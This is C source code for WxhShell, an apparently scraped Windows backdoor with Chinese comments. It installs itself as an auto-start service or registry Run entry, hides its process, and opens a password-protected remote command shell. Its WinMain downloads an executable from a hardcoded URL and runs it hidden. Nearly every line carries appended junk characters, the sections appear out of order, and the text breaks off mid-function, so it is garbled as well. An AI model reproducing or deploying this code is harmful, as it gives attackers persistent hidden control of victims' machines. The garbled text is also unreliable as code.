} PROCESS_BASIC_INFORMATION; ib&
|271gG
Q>||HtF$A
PROCNTQSIP NtQueryInformationProcess; )L_jR%2j
Rov0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; slw^BK3t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !(+?\+U lE
Y/{Z`}
HANDLE hProcess; 6#dx%TC
PROCESS_BASIC_INFORMATION pbi; .}j@(D
\QHM7C T
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jQf1h|e
if(NULL == hInst ) return 0; \*_qP*vq@
mD|<qsY)
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0E+ +
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KX*e2 /0
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LZ^sc
zu*h9}
if (!NtQueryInformationProcess) return 0; d'DS7F(c{
I|BLAm6j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 78 3a Z8
if(!hProcess) return 0; ,/Xxj\i
E?%k
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'zRd?Z>%
w}7`Vas9
CloseHandle(hProcess); SU x\qz)
*6k
(xL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c?wFEADn
if(hProcess==NULL) return 0; Kz 'W
|
ujDAs%6MZ
HMODULE hMod; *mBn''a"*
char procName[255]; .i`+} @iA
unsigned long cbNeeded; u*H2kn[DU
`t#C0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3{,Mpb@
spAYb<
CloseHandle(hProcess); c*LnLK/m
Be-gGJG
if(strstr(procName,"services")) return 1; // 以服务启动 =(zk-J<nY
`(16_a
return 0; // 注册表启动 rs\*$20
} X~W5Z(w(O
6I 2`m(5
// 主模块 k%uRG_
int StartWxhshell(LPSTR lpCmdLine) g,x$z~zU{
{ w6Ue5Ix,!
SOCKET wsl; g[!sGa&
BOOL val=TRUE; WqwD"WX+w
int port=0; 5MiWM2"X\
struct sockaddr_in door; LgB}!OLQ
q-p4k`]
if(wscfg.ws_autoins) Install(); >Utn[']~
D|UDLaz~
port=atoi(lpCmdLine); <:/V`b3a
C%G-Ye|@
if(port<=0) port=wscfg.ws_port; W5sVQ`S-
P]INYH
WSADATA data; >YPfk=0f0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >oLM2VJ
c-`&e-~XKL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Br-bUoua
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hLO nX<%a
door.sin_family = AF_INET; ]_5C5m
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |h8C}P&Z
door.sin_port = htons(port); m|e!1_:H
D*_ F@}=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /l@ 7MxE
closesocket(wsl); Jg: Uv6eN+
return 1; >uxak2nM-
} Rm6<"SLV
"PnYa)?1
if(listen(wsl,2) == INVALID_SOCKET) { ZH/|L?Q1U
closesocket(wsl); XBi@\i=
return 1; vR#A7y @!
} Y|KX:9Y@
Wxhshell(wsl); 5wr0+Xo
WSACleanup(); sp'q=^t
`[Kh[|
return 0; .LV=Z0ja
7*u0)Hog
} !/Hln;{
7Nx@eoZ
// 以NT服务方式启动 wgfn:LR
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jhK&Z7;
{ ^Fy)
oWS
DWORD status = 0; ?T?%x(]I
DWORD specificError = 0xfffffff; Xdw%Hw
YjLPW@
serviceStatus.dwServiceType = SERVICE_WIN32; ^> ZQ:xs@(
serviceStatus.dwCurrentState = SERVICE_START_PENDING; qo4AQ}0 <
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /|BzpIfpN
serviceStatus.dwWin32ExitCode = 0; b-%7@j
serviceStatus.dwServiceSpecificExitCode = 0; 3-tp94`8}t
serviceStatus.dwCheckPoint = 0; l&5| =
serviceStatus.dwWaitHint = 0; q0SvZw]f1
=yfr{5}R
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >0B[
if (hServiceStatusHandle==0) return; 5v!Uec'+
KmpX^Se[
status = GetLastError(); NS<lmWx+
if (status!=NO_ERROR) V/J[~mN9
{ \fh.D/@
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]TqcV8Q~
serviceStatus.dwCheckPoint = 0; sK}Ru?a)
serviceStatus.dwWaitHint = 0; %%klR{
serviceStatus.dwWin32ExitCode = status; ;/>~|@
serviceStatus.dwServiceSpecificExitCode = specificError; G2rxr
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SO8Ej)m
return; Po9 3&qE
} EtN"K-X
o]PSyVg
serviceStatus.dwCurrentState = SERVICE_RUNNING; N f1) 5
serviceStatus.dwCheckPoint = 0; }evc]?1(
serviceStatus.dwWaitHint = 0; In:h %4>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $kkdB,y
} F1gDeLmJ
kax9RHvku
// 处理NT服务事件,比如:启动、停止 {I`B?6K5
VOID WINAPI NTServiceHandler(DWORD fdwControl) Iu%/~FgPj{
{ ApjLY58=
switch(fdwControl) j^986
{ g)xzy^2e
case SERVICE_CONTROL_STOP: Y==# yNwM
serviceStatus.dwWin32ExitCode = 0; SAly~(r?/
serviceStatus.dwCurrentState = SERVICE_STOPPED; I-&/]<5y
serviceStatus.dwCheckPoint = 0; Lp1wA*
serviceStatus.dwWaitHint = 0; RhX
2qsva-
{ TDy@Y>
)
SetServiceStatus(hServiceStatusHandle, &serviceStatus); li,kW`j+t
} eAm7*2
return; &Lk@Xq1
case SERVICE_CONTROL_PAUSE: Sg')w1
serviceStatus.dwCurrentState = SERVICE_PAUSED; [uZU p*.V
break; />.&
case SERVICE_CONTROL_CONTINUE: 7u o4F=%
serviceStatus.dwCurrentState = SERVICE_RUNNING; mpK|I|-
break; f}nGWV%,
case SERVICE_CONTROL_INTERROGATE: (;C_>EL&u
break; \MK)dj5uUJ
}; .#rI9op
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /O/u5P{J
} z}OY'}sk8
?W%3>A
// 标准应用程序主函数 Wb/@~!+i`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rx|/]NE;
{ JnV$)EYi
",Ek| z
// 获取操作系统版本 //K]zu
OsIsNt=GetOsVer(); !Z<Z"R/
GetModuleFileName(NULL,ExeFile,MAX_PATH); w[:5uo(
ra$_#HY
// 从命令行安装 tJ2l_M^
if(strpbrk(lpCmdLine,"iI")) Install(); 69O?sIk
2zArAch
// 下载执行文件 8t9sdqM/C
if(wscfg.ws_downexe) { \`|,wLgH
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &hjrJ/'^
WinExec(wscfg.ws_filenam,SW_HIDE); ax7ub
} ft:/-$&H
WNlWigwYl
if(!OsIsNt) { ls 'QfJm
// 如果时win9x,隐藏进程并且设置为注册表启动 C@hnT<e
HideProc(); 6Q>:g"_
StartWxhshell(lpCmdLine); '00DUUa
} ax'Dp{Q
else LTBqXh
if(StartFromService()) 3_vggK%
// 以服务方式启动 >(:KEA
StartServiceCtrlDispatcher(DispatchTable); tul5:}x3
else 9bqfZ"6nXY
// 普通方式启动 Zff-Hl
StartWxhshell(lpCmdLine); 4>$>XL1
oV,>u5:B
return 0; j%~UU0(J
} 6;[iX`LL
q+|Dm<Ug
n3~xiQ'
)x?F1/
=========================================== w4RP*Da?:
QqtFNG
Vk{0)W7
Kgk9p`C(
|hOqz2|
2$\Du9+
" vJmE}
l&;#`\s!V
#include <stdio.h> z}u
#include <string.h> c>=[|F{{e
#include <windows.h> 4)Z78H%>
#include <winsock2.h> %w'@:~0
#include <winsvc.h> ?%*Zgk!l7
#include <urlmon.h> +!.=M8[
"4n_MV>p
#pragma comment (lib, "Ws2_32.lib") kw}J~f2
#pragma comment (lib, "urlmon.lib") dwB-WF%k
JF24~Q4P
#define MAX_USER 100 // 最大客户端连接数 J|,| *t
#define BUF_SOCK 200 // sock buffer yBs
#define KEY_BUFF 255 // 输入 buffer Il*wVNrZI
VGq2ITg9eE
#define REBOOT 0 // 重启 {Qlvj.Xw
#define SHUTDOWN 1 // 关机 \>:(++g
k@KX=mG<
#define DEF_PORT 5000 // 监听端口 ]5uCs[
6D w[n
#define REG_LEN 16 // 注册表键长度 ~;Xdz/
#define SVC_LEN 80 // NT服务名长度 rf^1%Zo:
19;\:tN
// 从dll定义API b.j\=c
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *gVRMSrx4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nyTfTn
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ql
[=
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1w1(FpQO.
khW3z*e#
// wxhshell配置信息 w9c
struct WSCFG { a2o+tR;H
int ws_port; // 监听端口 U2@?!B[\d`
char ws_passstr[REG_LEN]; // 口令 z`f1|Ok
int ws_autoins; // 安装标记, 1=yes 0=no txTDuS
char ws_regname[REG_LEN]; // 注册表键名 *<s|WLMG
char ws_svcname[REG_LEN]; // 服务名 /38^N|/Zr
char ws_svcdisp[SVC_LEN]; // 服务显示名 wArNWBM
char ws_svcdesc[SVC_LEN]; // 服务描述信息 M0"xDvQ
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pbloL3d.;+
int ws_downexe; // 下载执行标记, 1=yes 0=no 0'VwObq
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fu\M2"e
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /1o~x~g(b
L[##w?Xf.
}; '1/uf;OXIH
NWb,$/7T
// default Wxhshell configuration 8 :Z3Q
struct WSCFG wscfg={DEF_PORT, 1_XdL?h#o
"xuhuanlingzhe", $I>.w4G}
1, LGRX@nF#
"Wxhshell", RUSBJsMB
"Wxhshell", ^EM##Ss_
"WxhShell Service", k((_~<$2K
"Wrsky Windows CmdShell Service", Z`q?p E>R
"Please Input Your Password: ", @/B&R^aVZ
1, b.;F)(
"http://www.wrsky.com/wxhshell.exe", ks
3<zW(
"Wxhshell.exe" mi<V(M~p
}; b^6Ooc/-k
}|AUV
// 消息定义模块
Hco[p+
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M(I 2M
char *msg_ws_prompt="\n\r? for help\n\r#>"; g2w0#-
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b@z/6y!
char *msg_ws_ext="\n\rExit."; hPD2/M
char *msg_ws_end="\n\rQuit."; dhsQfWg#}
char *msg_ws_boot="\n\rReboot..."; }3=]1jH6
char *msg_ws_poff="\n\rShutdown..."; ),dXaP[
char *msg_ws_down="\n\rSave to ";
z.P)
:Er
v\0[B jhL?
char *msg_ws_err="\n\rErr!"; W[w8@OCNf
char *msg_ws_ok="\n\rOK!"; 5A:b
\
1r|'n aiZ
char ExeFile[MAX_PATH]; oT%~)g
int nUser = 0; Pou`PNvH
HANDLE handles[MAX_USER]; f{k2sU*uBE
int OsIsNt;
PgxD?Oi8
5?%(j!p5
SERVICE_STATUS serviceStatus; }(20MW8rMc
SERVICE_STATUS_HANDLE hServiceStatusHandle; j`='SzVloW
WPCaxA+l
// 函数声明 ~.yt
int Install(void); /&cb`^"U^
int Uninstall(void); rFdq \BSi
int DownloadFile(char *sURL, SOCKET wsh); wUW+S5"K
int Boot(int flag); \ec,=7S<Zf
void HideProc(void); 7 45Uo'
int GetOsVer(void); JX`+b
int Wxhshell(SOCKET wsl); q<D'"7#.
void TalkWithClient(void *cs); 0bS\VUB(
int CmdShell(SOCKET sock); W32bBzhL
int StartFromService(void); $iupzVrro
int StartWxhshell(LPSTR lpCmdLine); Jc(tV(z
u ; f~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z&/bp 1
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SA)}---"
#3\F<AJ<VB
// 数据结构和表定义 u])N^AY"sj
SERVICE_TABLE_ENTRY DispatchTable[] = 50uNgLs
{ Ql3hq.E
{wscfg.ws_svcname, NTServiceMain}, ~t.*B& A
{NULL, NULL} E@Q+[~H }
}; &0*j nb
x.xfMM2n
// 自我安装 D CcM~
int Install(void) ^e8~eL+
{ `SZ^~O
char svExeFile[MAX_PATH]; : H0+} =
HKEY key; 3?.3Z!H/
strcpy(svExeFile,ExeFile); '
DCrSa>
`N]!-=o
// 如果是win9x系统,修改注册表设为自启动 u-f_,],p
if(!OsIsNt) { al(t-3`<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E[)`+:G]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z Z\,iT
RegCloseKey(key); tTX2>8Gmr
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :,]V 03
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g3Xq@RAJ c
RegCloseKey(key); BD\xUjd?)Q
return 0; TmvI+AY/
} q 6%jCt2'
} D42Bm&JocO
} #Bj.#5
else { ~?H _?}e
k8Qm +r<p
// 如果是NT以上系统,安装为系统服务 {I&>`?7.
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @M?;~M?B]J
if (schSCManager!=0) 27<~m=`}d
{ C;-9_;&
SC_HANDLE schService = CreateService 7D|g|i
( h%8[];*DpN
schSCManager, V<ziJ7H/
wscfg.ws_svcname, am]$`7R5d
wscfg.ws_svcdisp, W}50E.\#
SERVICE_ALL_ACCESS, Ze~^+ EE
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rjqeuyj:
SERVICE_AUTO_START, jn&[=Y-
SERVICE_ERROR_NORMAL, yCwBZ/C
svExeFile, qfd/t<?|D
NULL, Cb%?s
NULL, oe=^CeW"
NULL, 4. 7m*
NULL, ypSW 9n
NULL 1(CpTaa
); WV]Si2pOZ
if (schService!=0) %oJ_,m_(
{ se:]F/
CloseServiceHandle(schService); /bjyV]N
CloseServiceHandle(schSCManager); NldeD2~H
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =6y4* f
strcat(svExeFile,wscfg.ws_svcname); WZOi,
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p-POg%|&<
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LBh|4S$K
RegCloseKey(key); rwWs\~.H
return 0; "t$c'`
} S zR7:U
} |JC/A;ZH
CloseServiceHandle(schSCManager); w+)MrB-}
} swss#?.se
} s5F,*<
s2FJ^4
return 1; z@R:~
} 8J-$+ ;
fI9 TzpV
// 自我卸载 "g;^R/sfq
int Uninstall(void) b) "bX}
{ t:B~P,r
HKEY key; V^Z"FwWk
6 9_etv
if(!OsIsNt) { A.8{LY;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hsr,a{B%$
RegDeleteValue(key,wscfg.ws_regname); LmE%`qNg
RegCloseKey(key); vq-Tq>
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]:uJ&xUar